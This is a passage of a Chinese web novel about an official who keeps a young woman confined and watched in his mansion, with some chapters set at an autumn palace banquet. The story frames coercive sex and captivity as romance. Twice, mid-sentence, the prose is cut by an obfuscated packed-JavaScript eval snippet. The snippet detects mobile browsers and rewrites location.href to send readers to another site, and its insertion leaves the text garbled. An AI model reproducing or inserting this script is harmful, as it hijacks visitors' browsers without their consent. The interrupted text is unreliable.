故此谢庭钰就是查到了,也当看不见地放过了。 同样被刺杀过几回的陆佑丰冷嗤一声:“又是这样。真没意思。敢做不敢当的孬种。” 谢庭钰装模作样地说:“劝你淡然些。免得被角落里窥伺的谁听了去,告到主子那儿,又是一番折腾。” 陆佑丰怪里怪气地回:“哦。好怕哟,吓死我了。” 二人笑过一番。 说到这里,陆佑丰顺道忆起往事:“上回我跟你一同去的木屋,前些日子着火了你知道吗?也不知道那姑娘跑去哪儿了,何家找了几日都没找着,也就没有继续找了。现在已经寻了新的守陵人替上了。” 那次他扬马回谢府,寻到曹子宁和章平洲说明情况,本欲随他们一起去秋衡山,但在路上他瞅见自己追踪已久的凶犯露面,于是调转马头先行追凶去了。 再回来一打听,他就听到意外失火奔逃的一桩事。 陆佑丰将目光转向将墨笔浸入水洗里的谢庭钰:“嘶,莫不是因你遭了迫害?” 谢庭钰好笑道:“我看你是忙糊涂了。” 陆佑丰即时醒悟过来。 若那姑娘真是因为谢大人遭了迫害,那怎么可能悄无声息的,必然要让他知晓此番报复行径才是。 大约也是好不容易能闲下来透口气,陆佑丰捡了张乌木交椅坐下,自个儿给自个儿倒了杯冷茶,与他闲谈起来:“你就不想知道她去哪儿了?” 谢庭钰一脸冷淡:“不好奇。” 陆:“奇了。我瞧着你们关系匪浅啊。” 谢:“互怼两句酸话就是关系匪浅了?” 陆:“何止酸话,你不是还跟她大吐苦水来着?” 谢:“山上空寂无人。彼时除了你们,就是长埋地下的死人,还不许我诉苦发泄一番了?” 这话说的陆佑丰都困惑了,搁下葵口杯:“只是这样?” 谢庭钰姿态坦坦荡荡:“怎么?你还想往我身上扣风月逸闻?” 陆佑丰大呼:“哇,你这话倒是严重了。” “不严重。大理寺一把手的位置不是你就是我,任何细小的差错都会影响结果。” “你少在这儿乱扣帽子。” “同上。” “你……!”陆佑丰气地站起来。 “哈哈。”谢庭钰潇洒盖上整理完毕的卷宗,眉眼处扬起一股少年人的浪荡气,“同你说笑罢了。右少卿奇才聪颖,玉树临风,真胜了谢某,也是名副其实。” 这话一说,倒显得他陆佑丰小心眼而他谢庭钰倜傥大方了。 是以右少卿气到“你你你”了好一阵,都没组织出合适的措辞来回骂他。 陆佑丰寻常听说谢同僚问话嫌犯时弯弯绕绕,再嘴硬的嫌犯不出半个时辰都得在他的辩口利辞下露出马脚,丑态尽出。 原先陆佑丰以为这是黎堂真过于崇拜他的顶头上司而吹侃出来的,如今简简单单地直面一回,才知小黎说的一点也不夸张。 咚—— 钟楼响起下值的钟声。 谢庭钰起身,表情快乐地拍拍陆佑丰的肩膀:“走了。” 陆佑丰回身看他:“今个儿去哪儿吃啊?” 谢:“我说的是下值回府去,谁要在这儿秉烛办公了。” 陆:“天!最爱干这勾当的人不就是你吗?不仅闹得底下的人诚惶诚恐不敢准点下值,甚至惹得李正卿都要时不时点灯查案以防被你比了下去。” 路过的李正卿恰好听到此言,插嘴道:“诶诶诶,两小子闹架别扯上我啊。我那是着急办案呢。” 李正卿走后,两位作揖的郎君才直起身。 听着李正卿的脚步远去,陆佑丰小声叨叨:“咦——当谁看不出似的。” 谢庭钰冠冕堂皇地接上前头说的话:“或许是因为奏疏弹劾、罚俸停职、刺杀事件接踵而来,近来有些心力交瘁。不如趁自己还活着,多过两天好日子。” 不知内情的陆佑丰闻言唏嘘不已:“官场沉浮,总有许多嗟叹。” 一番弯绕下,陆佑丰完全将秋衡山一事抛之脑后。 回到谢府已是黄昏时分。 李达见了主子,都不用他开口问,直接就说:“姑娘又去了拢翠馆。” 得,又是拢翠馆。 赋闲在家时,谢庭钰曾牵着棠惊雨在府里游山玩水似的逛了一圈。 一是带她看看这座占地广阔的府邸,都有哪些峥嵘轩峻的厅殿楼阁,又有哪些蓊蔚洇润的树木山石,更有哪些叫人赞叹的奇景幽池。 让她好好对比一番秋衡山上的破木屋,到底哪里的风水更能养人。 二是给她看看他花了大半年时间精心布防的府邸是怎样的固若金汤——巡逻的侍卫,暗处的守卫,机警的仆从侍婢,偷袭的机关…… 明里暗里都在提醒她:乖乖待在府里,你不可能再逃的出去。 她一路都是平静无波的表情。直到行至后方偏西侧的拢翠馆时,她才眼前一亮。 从一片绿浓翠嶂的羊肠小径走出,就看到了千百竿翠竹遮映的拢翠馆。 往里头一走,更是翠色-逼人,芭蕉藤萝丛丛野草苍苔,茂盛的绿意如滔天海浪一样朝人奔袭而来。 对谢庭钰来说,大片大片的翠绿堆叠出一股微妙的窒息感,加之这里过于偏远,又实在冷清,更有一番惨绿惨绿的薄凉,所以他不太喜欢这里。 偏偏,棠惊雨喜爱得很。 那天她唯一一个浅淡的笑容就是为了这间拢翠馆。 她指着拢翠馆说:“我喜欢这里。让我在这里住下吧。” 这里守卫较为稀疏,距离侧门也不太远,谢庭钰自然而然认为她还想着要离开谢府。 拒绝的话语没有明说,他只是搂着她,两指探入桃花林径,略带警告意味地笑问:“真要住在这里吗?” 她被弄得眼眶浮泪,连忙求饶:“不住了不住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292064|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那你要住哪儿?”问话间,他手上的动作没停。 “岱泽楼……岱泽楼。同你住在一块儿,要跟你一起。”她快要直不起腰,说话也有点语无伦次。 彼时他看着伏在自己手臂上娇声啜泣的姑娘,神情变得晦暗。 内室都没有拐进去,就直接在曲折游廊里掀起一番云驰雨掣的欢情战。 急雨方歇。餍足的郎君抱着怀中软玉靠坐在廊柱下,望着后院片片柔软舒卷的芭蕉叶,说:“你若实在喜欢这里,就多来这里玩儿。” 那天得了他的允许,她何止常来,简直天天往拢翠馆跑。 刚下值的谢庭钰身上还穿着大理寺的公服,就先去换了一身清爽的夏袍,才往拢翠馆去。 经过她的细心打理,拢翠馆已经雅致整洁了不少。 但他还是觉得绿意过浓,待六七月一来,这馆舍四周怕是要绿得人心发慌。 他一路走来,思量着要往院里移栽几棵梨花树,再引一条活水小溪环绕馆舍,如此绿白幽然交织,淙淙声响更显玲珑。 后院传来“咻——笃”的声音。 棠惊雨正在射箭。 她被带回府后,谢庭钰继续充当她的老师,教她四书五经六艺。 她虽不爱说话,但脑子好使,一点就通,进步飞快。 谢庭钰行至后院回廊,瞥了一眼梁上藏身的一位轻功极佳的女子。对方见他看来,朝他恭敬地点了下头。 这女子名唤“莲生”——是他专门派来寸步不离守着棠惊雨的暗卫。 箭靶设在围墙前,条案和箭具都放在退步①里。 棠惊雨站在檐下,凝神静气地拉弓蓄力。 “惊雨。”熟悉的声音在一旁响起。 她没理他,射出一箭后才舍得回头看他一眼,随后又继续取箭拉弓。 手臂晃动时,袖角的坠铃铃铃作响。 她今日的穿着宛如壁画神女:上身一件天青色软烟罗广袖交领上衣,垂臂时,长长的袖角几乎碰地,袖尖处又各缝了一颗指甲盖大小的银雕坠铃,这还不够,两只手臂处又分别绑了一只羽袖,更显优雅飘逸;浅翠色的曳地长裙;一条苔青织金的腰带勾勒出婀娜柳腰,腰间两侧各挂着一条白玉禁步。 她这一身装扮,算是谢庭钰故意为之。 如此繁复精致的衣裙,根本不便于跑动。袖尖的坠铃和腰间的禁步不必多说,一动就满是铃啷声,很容易被发现。 一年的光阴太长久,他没办法再承受她又来一个消失无影踪。 谢庭钰走上前,上手指点了她一番。 她“嗯”了一声后,这一箭直中靶心。 往后五六箭也是直中靶心。 溢满的成就感让她忍俊不禁,难得在眉眼处淌出一点笑意,下意识回头看向身旁的郎君。 谢大人的笑容更外露一些。他抬手摸摸她的头,鼓励道:“皆因你先前一直勤学苦练,才会有刚刚的厚积薄发。” 她扬起一个浅笑,点头“嗯”了一声。 箭筒的箭悉数射完,她搁下木弓,拎着空箭筒去收箭靶上和掉落在地上的箭。 她刚把装满的箭筒放下,就听他说:“玩个游戏?” 她登时警觉起来,迫不得已扯住他的手臂撒娇道:“不了。好饿,想吃饭了。” 狗屁游戏!都是为了能顺理成章地交欢而故意给她设的圈套。 他日日都要。哪怕她来月事了,也要用其他方式陪他玩。 等她的月事过去,憋久的人会要得更狠。 上回用的是背书的借口——她好不容易背完,他突然问了一个她从未看过的诗文,还冠冕堂皇地说“自然是要多学多看,怎能拘泥于我教了什么”,说完便要她乖觉“受罚”。 简直无赖至极! 这一回,恰好又是她的月事刚过。 谢庭钰将装模作样撒娇的人揽进怀里亲了一口,然后说:“很快的。只要十箭。射中靶心一次,我就放过你一次。” “没射中靶心一次……”他低头在她耳边呢喃,“我就射中靶心一次。你要是不玩——明日我休沐——有一整晚的时间陪你玩儿。” 虎视眈眈的压力下,十支箭最后四中六不中。 也就意味着今晚,十五连盏铜灯长明。 17. 第 17 章 大暑一过,炎天若甑。 芭蕉冉冉,日长意懒。 棠惊雨搬来竹床到后院的退步里午睡。 暑气游过重重碧翠后化成清凉的穿堂风,一阵阵灌入门窗四敞的退步,叫屋里抱着软枕熟睡的人睡得更舒服。 后院栽种的梨树经过夏日的阳光与雨水滋润,枝叶更为丰沛,撑起一大片清爽的阴凉。 莲生双手抱臂半躺在其中一棵枝叶繁茂的梨树里,听着环绕馆舍的淙淙溪流声,耳畔还有如小雨叮咚的竹叶摩挲声,也跟着闭目养神。 这一睡,就到了申正时分。 棠惊雨睡了一个饱觉,在竹床里伸个懒腰,捞起掉到地上的书册,睡眼蒙眬地翻了翻,发现已经看完了。 她走到盆架上洗了把脸,对着铜镜随意理了理睡乱的鬓发,就迈着步子往如玉书斋走,打算往里头再翻一些书搬来拢翠馆看。 一路行至清荷榭,风中送来阵阵荷香。 正是:接天莲叶无穷碧,映日荷花别样红。 靠在廊下赏了一会儿碧叶芙蕖,她又抬步继续往前走,穿过曲折游廊,正要迈入东院的月洞门时,一道急促的呼唤叫停她前行的脚步—— “棠姑娘等等!” 莲生跳到她的眼前。 这是棠惊雨第一次见莲生,被她吓得连连后退。 不期然激起幼时被父母卖至花楼的暗色回忆,棠惊雨大叫:“李叔!李叔!” 莲生原先是对敌派来卧底刺杀谢庭钰的,后被他的言行品格所折服,主动投诚,请他为自己解毒,并发誓日后必将对他赴汤蹈火。 谢大人胸有仁义,知道她卧底刺杀是迫于性命之忧,也愿意给她一个机会,请王留青为她解毒,并给她取名“莲生”。 她为谢大人做了不少事情,尤其是搜集前主家的罪证。 最后将前主家送进天牢,解放出一众被迫受困幽深庭院即将成为下一个杀手的少年少女们的那一刻,莲生只觉风烟俱净,从此黑夜褪去,天光乍明,对谢大人崇敬更甚。 这次被他派来保护棠惊雨,她也是一如既往地认真负责。 然而从小被作为杀手养大,后来又匍匐在暗处追查的莲生,不太了解如何与另一个姑娘交谈,只知前方的侍卫正在击杀突袭的刺客,鲜血残肢到处横飞,既怕棠惊雨遇险,也不好让她瞧见。 一着急,莲生就直愣愣地跳到棠惊雨面前,见她害怕,连忙上前要斟酌用词解释,哪知她更怕了。 李达听了叫喊,飞快跑来:“来了来了。” 棠惊雨立刻躲到李达身后,问他:“那是谁?” 李达一眼就明白,快速解释道:“这是府里的暗卫,名叫‘莲生’,是家主特地安排她来保护您的。” 棠惊雨这才回过味来,怪不得谢庭钰肯让她一个人去那么偏远的拢翠馆。 她的情绪顿时平复下来,再一看那姑娘——束袖收腰绿衣衫,腰间别着一把短刀,发尾高束,英眉俊眼,顾盼神飞,女侠一般爽朗潇洒。 棠惊雨冷着一张脸:“哦。你刚刚有什么事吗?” 其实看了棠姑娘好几个月,知道对方除了跟谢大人以外,几乎不与其他人沟通,这是她第一次开口攀谈。 莲生略微紧张地搓了下大拇指,扯了一个借口:“方才见姑娘对莲塘里的鲤鱼喜欢的很,我这儿有一袋鱼食,姑娘要去喂着玩儿吗?” 棠惊雨缓缓抬眼,看莲生不知从哪儿掏出来的一袋鱼食。 不亏是忠心耿耿的暗卫,跟她的主子一个德性。 我不喜欢鲤鱼,也不想喂鱼。棠惊雨克制心中翻腾而起的躁意。 一转念,她就猜到前方大抵发生了什么事情是他们不想让自己瞧见的,所以她也顺其自然地上前拿过那袋鱼食,大步流星地往清荷榭走去。 步子迈得又大又快,袖角的坠铃和腰间的禁步铃铃啷啷地响个不停。 莲生默默跟在后面。 她不怪对方如此冷漠。因为她很清楚棠姑娘也没给过主子几个好脸色。 就如上回,主子见姑娘实在喜欢草木,就问她要不要宣义坊那家奇珍园里的一株价值千金的珍稀异草。 彼时她愤然拍桌,说:“凡人分个三六九等也就罢了,做了草还要被你们分个高低贵贱吗?我不要!” 骂得主子愣了好半晌。 再者,莲生其实还挺喜欢棠姑娘的。 棠姑娘身上所有的东西,都是莲生根据主子的吩咐去置办——用的是某某家小姐的名号,挨个到主子名下的店铺里采买。 起初她觉得那些衣裙的样式太过华丽精巧,用料又个顶个的奢侈,偏偏不做纹样,也不加滚边条襟,只要精工剪裁。 雅致素纯的上衣下裳,单瞧着实在过于孤冷高傲,很容易压了穿衣者的气质,变得怪里怪气的。 如此,莲生不得不佩服主子的眼界审美,那些衣裙偏偏棠姑娘适合得很,一上她的身,立即衬得她宛如谪居人世的仙子一般,清艳绝尘。 很难单单用“好看”二字形容,更像是一汪清澈幽深的潭水,一靠近,再浮躁的心思情绪都会宁静下来。 莲生站在棠惊雨身后的五步远,见她歪坐在地上,上身倚在石栏边,抓起一大把鱼食就往莲塘里撒,瞬间引来大群鲤鱼争相竞食,翻得莲塘哗啦狂响。 莲生的目光停留在棠惊雨贴着泥地的衣裙。 谢庭钰吩咐过,除了出府,棠惊雨想要什么想做什么都可以。 所以,莲生只在心里嘀咕了一句“又可惜了一条裙子,好贵呢”,就将目光投向莲塘。 棠惊雨大把大把地撒鱼食,一袋鱼食没一会儿就空了。 翻腾的鲤鱼们见好一阵没鱼食撒下来,很快就游走了。 莲塘又静了下来。 莲生轻手轻脚在旁边放了一袋新的鱼食。 棠惊雨瞥了一眼,没搭理。她从地上拢了几颗石子,捡起一颗扔向水面,听它“咚——”一声砸进水里。 莲生看出她不高兴,想了想,对先前的言行解释道:“方才再往前有刺客,所以才让姑娘来清荷榭玩儿。” “嗯。” 棠惊雨头也不回地应了一声,捡起一颗石子继续往水里扔。 积压多时的情绪在此刻沉默地爆发。 想她入醉花楼以来,就无时无刻不在为了自己而算计这个算计那个,就是想要隐居尘世的潇洒自由。 哪知算来算去,最后将自己算成了权贵府里的一只无名笼雀。 可偏偏,这里又能满足她的许多需求。 衣食住行不必多说,待遇甚至比一般世家小姐还要好。 她不想与人打交道,就可以躲在拢翠馆里一整日。 也不必娇声软语地讨好谢庭钰,想给他甩脸色就甩脸色。 即便房事频繁,她也没有痛苦的时候。 不让她出府正好满足她根本不想接触“人”这一重大需求。 因为知道这里没有危险,熟睡的次数多了许多许多。 但还是有很多她不喜欢的地方,尤其与住在秋衡山的日子比起来更是。 这里的景色再好,也比不上秋衡山的辽阔静寂,无垠天地,葱郁草木。 再舒服,也没有人迹罕至的秋衡山清爽舒适。 或许是她离了醉花楼后就变成一只鬼、一个妖,即便不用费心打交道,这府里来来往往的阳气也让她感到浑身不适。 谢庭钰看似尊重她,实际上完全就是按照他自己的需求来安排她的生活。 比如莲生,若不是今天的意外,她完全不知道一直有这么一个人时时刻刻地盯着自己的一举一动。 还有他不知何时会迎娶的名门正妻。 等妻子过了门,她还有现在的舒服日子过吗?那个妻子会同意自己的丈夫如此宠溺另一个女人吗?还是根本就不把她放在眼里呢? 只要有人的地方,即便再平静无波,也都是暗潮涌动的。 她最厌恶的,就是这些因“人”而起的暗潮涌动。 可是这里,高官府邸深似海,她逃不出去。 她不想再算了,也不想再哄着任何人了,更不想再费尽心机去平复那些暗潮涌动了。 就这样胡乱地活着罢,跟一株草一样,活在山里也行,被挖走放到府邸当观景也行,被单独栽种到花盆里养着也行。 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作为心腹,章平洲非常清楚谢庭钰接下来想问什么,于是先行接话道:“彼时棠姑娘正好要去书斋,莲生及时出现请她去清荷榭喂鱼了,现在还在那儿待着呢。” 还没到走进清荷榭,谢庭钰就远远瞧见棠惊雨歪坐泥地上,裙摆处全是泥垢。 这不是她弄坏的第一条裙衫。 之前锄地挖草、搬石垒木、溪边捞鱼抓虾、水缸造景养鱼……她只管自己喜欢,根本不理身上穿着什么锦绸,悬着什么玉石。 谢庭钰毕竟寒门出身,现有的百万家财都是辛苦赚来的,见她如此不爱惜身上的昂贵衣裙,心如针刺般略微一痛。 他走过来时,棠惊雨还伏在石栏上朝水里扔石子,溅起的水泥弄脏膝盖处的裙摆。 他瞧着,心脏又痛了一下。 心痛归心痛,说起来也不过是几件衣裙的钱,她弄坏再多,与他而言也算不上什么,更不会给她换任何便于行动的衣裳。 他只是想哄她说话:“棠,你可知你这身衣裙价值多少金银?” 棠懒声回答:“是以野草撑不住金缕玉衣。” 她这书读得多了,一张嘴跟淬了毒一样厉害。 他故意说:“世人皆知我寒门出身,你这是在讽刺我?” 棠依旧面无表情:“大人功绩在身,多少人望尘莫及,何必在乎身外之物。” 她这一说,倒让他些许感慨起来:“只是世人大多先敬罗裳再敬人。” “嘁,凡人自扰之。”她这话的语调里带了一点嫌恶的味道 “咚——” 石子砸进水里,泛起千般涟漪。 这会儿见她,倒是能言善道,等到了夜间,他与她聊起官场之事,希望能从中得到些许慰藉时,她就不是这样了—— 听他吐苦水,她就一句:“别干了。” 听他解释哪能说撂摊子就撂摊子,她还是一句:“那忍着。” 再听他往下说,她就直接一句:“我帮不了。你娶妻吧。” 虽然话糙理不糙,但他听着就是不高兴,与他心中想要的抚慰心灵谈笑风生的闲叙压根不搭边。 再聊不下去,他转而去看四周的夜景。 岱泽楼二楼亭台的景致甚好,今夜明月皎洁如霜,庭院的花草木石尽收眼底,凉风充盈衣袍。 谢庭钰推开身后的三足凭几,舒展着身体躺在大榻上,然后垂眼去看一旁的棠惊雨。 她坐在大榻上,正埋头在书案前挑灯练字,身后同样置着一张三足凭几。 幽幽墨香夹杂着少女馨香扑鼻而来。 他伸手,坏心眼地去扯她那披在后背上的长发,非要毁她宁静。 她惊叫一声,急忙搁笔,转过身愤怒地拍掉那只作恶的手,救下自己的头发后,就将它们悉数拨到左肩胸前搭着,一根也不留给身后的恶人。 瞧着眼前气鼓鼓练字的身影,谢庭钰抱肚闷笑。 笑够了,他再抬头去看天上的一轮圆月,也是奇哉怪哉,先前压在心里的烦躁顷刻间消散。正是: 花好月圆人在旁, 风清鸟静墨发香。 今无烦事压心头, 尽赏亭台好风光。 18. 第 18 章 刺客一事,再加上前些日子陆佑丰的话,谢庭钰觉得需要给棠惊雨加练一些必备的逃生技能。 今日天朗气清,一叶小舟行至藕花深处。 谢庭钰先让她以“荷花”为题作诗。 “深夏碧盘叠绿海,熏风摇花送清香。味芬芳——啊——” 在她思考之际,谢庭钰突然伸手将她推下水中。 此处水深,成年男子在水中站立也无法露头。 不过之前谢庭钰已经教过棠惊雨凫水,所以她很快就浮出水面,两手搭在船头边沿,在阳光下仰着一张湿漉漉的皙白的脸看他。 谢庭钰半蹲下来,用食指戳戳她的额角:“你是傻子吗?若我此刻就是一个推你入水的凶犯,你还往我这儿迎上来送死?” 他伸手施力推她的肩膀:“下去再来。” 人突然落水,都是下意识会往原先落下来的位置浮起来。他这是要她克制自己的本能,多思一步。 虽然知道他的想法,但她还是朝他扔了一个白眼,随后像一尾鱼一样翻身浸入水。 四周寂静,只余碧叶花枝的轻晃声。 谢庭钰虽知棠惊雨在水下憋气的时间长于一般人,但见她许久不浮出水面,心中难免泛起些许担忧,从船头行至船尾去喊她—— “惊雨。棠惊雨。” 忽然水面飞出一块什么东西,他侧身躲过,随即听见身后响起有人爬上船的动静,一回头就见她举着一块石块朝自己袭来。 以他的身手,轻易旋身握住她持石块的左手手腕,笑着抢过那块石块,夸赞道:“从哪儿找来的石头?真是聪明。” 他将石块扔进水里,垂眸看向湿淋淋的姑娘,情兴一起就俯低身要去吻她。 被她低头躲过。她顺势甩开手腕的桎梏,挪到他的身后,伸手要将他推下水。 得亏谢庭钰身经百战,反应敏捷地移身卸掉她的推力,不然真给她推下水去。 他飞快上前将人捞进怀里,双臂控住她的腰背,笑吟吟地看她:“刚才是聪明,现在可是心眼坏了。” 她扬眉回看他,冷笑道:“比起大人,那是小巫见大巫了。” 他:“你肚里的那点墨水都用来骂我了是吗?真是深情专一呢。” 她瞪眼看他。 还是输给了他的无赖。 趁她怔愣之际,他低下头,一手握住她的后脑勺——还是叫他吻到了。 之后,针对棠惊雨的各类逃生技能的训练一直在继续,过程中同时启发了谢庭钰许多关于谋略布局上的想法。 倏忽到了夏末。 四周的凉风已经有了秋意。 拢翠馆里的夏意一如既往的浓绿。 竹篱笆缠上了爬山虎,垒砌的石堆漫着绒绒的青苔。 甚至拢翠馆后围的小山坡都种满了雪松,如今已是一片松树林。 因为棠惊雨的缘故,谢庭钰来拢翠馆的次数也多了起来。 他望着四处不同层次的绿意,又见她捧着插满竹枝的素陶花瓶走进屋,搁到书架旁的花几上。 “为什么不养花?”他好奇地问了一句。 “爱草木,有错?”她一脸困惑地反问他。 他反倒一愣。 印象中,不仅姑娘更爱各式各样的花,文人墨客、高官贵族也更爱锦簇的鲜花,绿枝细草多沦为陪衬。 她倒好,正正与之相反。 花在她眼中,才是绿枝细草的陪衬。 不随大流,独持所好是错吗? 没有错。 她似乎毫不在意他的答案,说完就径直低头继续摆弄花瓶里各根竹枝的前后位置。 他看向她,不管她在不在意,仍说了一句:“没有错。” 他说完继续翻看手里的书,端起手边的清茶啜饮一口,听着窗外嗦嗦轻响的风摇树叶声。 灵光一闪,他连忙从榻上起身,到书案前研墨执笔,挥墨几下写完,招手唤棠惊雨过来看。 她走过来,低头只见—— 上面小字写着: 朝阳羽翙翙,春梧绿蕤蕤。 下面大字写着: 蕤蕤。 “你的小字我想了许多个,都觉得不太合适。如今‘蕤蕤’二字我甚是满意,你——” 他侧头一看,见她是一张眉头紧蹙的脸,当即敛起笑容问道:“你这是什么态度?” “唔——”她直言道,“好难写的两个字。” 他平地踉跄一步,险些气晕过去。“你,你……真是孺子不可教也!” 话音未落,他甩袖而去。 给他们送来糕果酒饮的李达听了,连忙搁下食盒,脚步“哒哒哒”地赶到书案。 李达探头一看,缓着气笑言:“朝阳羽翙翙,春梧绿蕤蕤。‘蕤蕤’是草木茂盛之意。” 棠惊雨恍然大悟,抬头看向正房门前的一道斜影,略微提高声音地说:“如此说来,真是好美的两个字。” 屋外传来一道声音,是克制笑意的语调:“算你知趣。” * 立秋。 皇帝在行宫举办了一场秋宴。 宴会上来了许多高官门阀,皇家贵族。 金谷苑里正在进行以“秋”为题的行酒令。 一颗红绿相间的六面骰子丢进空碗里,掷到一点红就作一句诗,再喝一杯酒。骰面至多三点红。 小姐们都坐在长桌的右边,郎君们都坐在左边。 几轮下来,场上输了七八人,其中就有贾文萱;还剩四人在斗诗,其中就有宋元仪和谢庭钰。 宋元仪掷了三点红,迎着一众期盼的目光,说:“秋风起兮庭梧雨。” 说完饮一杯,继续道:“枯荷香残玉簟秋。” 说完又饮一杯,最后说:“银烛秋光浓霜月。” 在席间此起彼伏的喝声与掌声中,宋元仪姿态盈盈地饮完最后一杯酒。 贾文萱鼓着嘴,既不服气又难免羡慕地看向宋元仪,不情不愿地跟着一起鼓掌。 到了谢庭钰,他掷了两点红,同样迎着一众期待的目光,说:“空山新雨晚来秋。” 说完饮一杯,再道:“玉露秋风淌山野。” 同样是在此起彼伏的喝声与掌声中,他飒爽地饮完一杯酒。 不多时,席间就剩宋元仪和谢庭钰。 二人互对了两轮后,谢庭钰高举酒杯过额头,一副服输的姿态:“宋小姐诗才高美,在下钦佩。” 酒过后,宋元仪叫住谢庭钰。 宋元仪:“左少卿方才诗意明明未尽,为何要认输?” 谢庭钰笑了一下:“玩乐而已。何须计较输赢。况且宋小姐诗才高于谢某不假,认输不冤枉。” 宋元仪提扇遮住半张脸,垂眸轻轻笑出声,而后缓缓抬眼看他:“谢大哥夸人的本事,才叫人佩服。” 称呼的转变,不动声色地流淌着暧昧不明的情愫。 谢庭钰扬眉笑道:“哦?这就开始挤兑我了?” 宋元仪也笑:“岂敢岂敢。” 贾文萱躲在他们不远处的一棵大树后,见二人言笑晏晏好不合衬,她咬牙气地握拳锤了一下树干。 前来寻她的堂姐见了,了然地将人拉到身后的假山旁,笑她:“瞧瞧,这还是那个谁也不放在眼里的小萱萱吗?” “堂姐!”贾文萱气咻咻地跺脚。 贾家堂姐捂嘴笑了笑,她已嫁作人妇三年有余,少年少女的情愫流动一眼就明白如何回事,便说:“你当真喜欢那个姓谢的?” 贾文萱垂头丧气地踢了一下石子:“喜欢啊。可是宋元仪总缠着他。我又没有她那神采飞扬的才气,真是让人生气!” 堂姐抱着肚子笑。 贾文萱晃着堂姐的手臂:“堂姐你别笑了。你快给我支个招儿啊。” 堂姐慢慢收敛笑容:“耳朵过来。” 贾文萱赶紧把耳朵给过去,听她耳语一番,才醒悟道:“还是堂姐厉害。” 堂姐得意地笑完,接着问:“这谢大人年纪也不算小,有个二十一二了吧?” 贾文萱点点头:“正是二十一。” 堂姐:“府里没有个晓事的通房侍妾?” “没有。”贾文萱摇摇头,“哥哥替我查过好几回,他清白得很。就前几日还探过一回,也是没有的。” 贾文萱当然查不到,毕竟给棠惊雨置办的东西,都是莲生以某家小姐的名义置办,送进谢府时更是佯装成府中日常杂物采买的形式,轻易查不出。 堂姐:“会不会是……那里不行啊?” 贾文萱顿时红了脸,嗔道:“堂姐!你说什么呢!” 堂姐却严肃起来:“只是突然觉得,此人心性了得。或许,不太合适你这样天真烂漫的性子。” “他心性了得还不好?” “就方才在席间吃酒,瞧他对谁都礼让,可见人是明善的,却也说明谁在他的心里都没留下什么位置。不过,对你与宋小姐,倒是有些不同。” 贾文萱闷闷道:“或许男人贪心。两个人都想要。” 堂姐笑:“那你还要青眼他?” 贾文萱:“哼!要他娶了我,我才不会让宋元仪进门。” 堂姐却谨慎开口:“贾家在玉京的地位谁人不知谁人不晓,朝中的争斗更是风起云涌,他却能一直独善其身。情意上,不仅周旋于你和宋小姐之间,还能让你对他如此记挂,绝非寻常人等。萱萱可要多多小心,越是神仙一流的郎君,越难掌控。” 彼时情窦初开的贾文萱,听不进堂姐的劝诫,一心一意要谢庭钰拜倒在自己的石榴裙下。 贾文萱吩咐底下的人在林中临时设立一个小型靶场,派人去将谢庭钰请来。 他倒没有推脱,应邀前来。 贾文萱拎着木弓笑盈盈地看向身姿挺拔的郎君:“谢庭钰,我听说你箭术了得,你大发慈悲,教教我吧。” 谢庭钰转头看了眼箭靶处射的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15314519|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱七八糟的羽箭,抿唇笑了笑,说:“好。” 他站在一旁指点她,十足耐心。 贾文萱却摆出总是不得要领的苦恼模样,那羽箭始终射得歪歪斜斜。 他不得已从旁折了一朵花枝,以花枝压在她的手臂上重新教导。 她却甩开花枝,清凌凌的一双秋水眸看向他:“我和你现在就是学生与夫子的关系,何须拘泥于书上的仁义教礼。” 谢庭钰缓缓抬眼看她,静静地。 贾文萱先羞涩地垂下头,盯着锦靴上蹭到的一点尘泥,说:“我是认真想学。” 秋风轻抚山岗,嗦嗦泠泠如雨落。 他的声音正在她的头顶,很轻地沉下来:“好。” 初秋的衣物还不厚,男人手上的温度能轻易渡过来。 贾文萱尽量克制怦然心动的羞意,在他的上手指点下,认真摆弄手里的弓箭。 她本就会射箭,只是箭术时好时坏,如今让他抬手一点拨,不多时就有三箭能有一箭中靶心的稳定。 她太过高兴,转过身笑着搂住他的手臂晃了两下:“我又中了!” 随后反应过来,贾文萱双颊飞红云地松开他的手臂,左看看右看看,尽量爽快地说:“我,我就是一时太开心了。谢谢你啊,谢庭钰。” 谢庭钰依旧是那张温和浅笑的脸:“不客气。” 贾文萱冷静下来后,仰头与他对视,豁出去似的试探问他:“话说你也不小了,怎么还不娶妻啊?” 掌上明珠出言,一如既往地直白洒脱。 谢庭钰并未觉得冒犯,轻声回道:“不急一时。” “那……你想要一个什么样的妻子?” “唔——希望是一个很好的,能时刻理解我的姑娘。” “那你觉得我如何?” 明晃晃的情意迎着初秋的清风扑面而来。 霎时间,谢庭钰的心潮掀起层层浮浪,沉默两息后,说:“很好。” 贾文萱毕竟是一个未经人事的千金小姐,试探到这里也就结束了,再往前一步,就显得过犹不及了。 有这简明直白的“很好”二字,足矣。 此次秋宴为期三日。 听说谢庭钰被贾文萱单独找去,宋元仪思来想去,寻了一个借口往他们所在的地方追去,恰好听到了那二人的对话,当即捂着锦帕伤心流泪地回到自己下榻的厢房。 同在行宫里的黎堂真还不知道发生了什么事情,拎着一个红木食盒,高高兴兴地来到宋元仪的厢房。 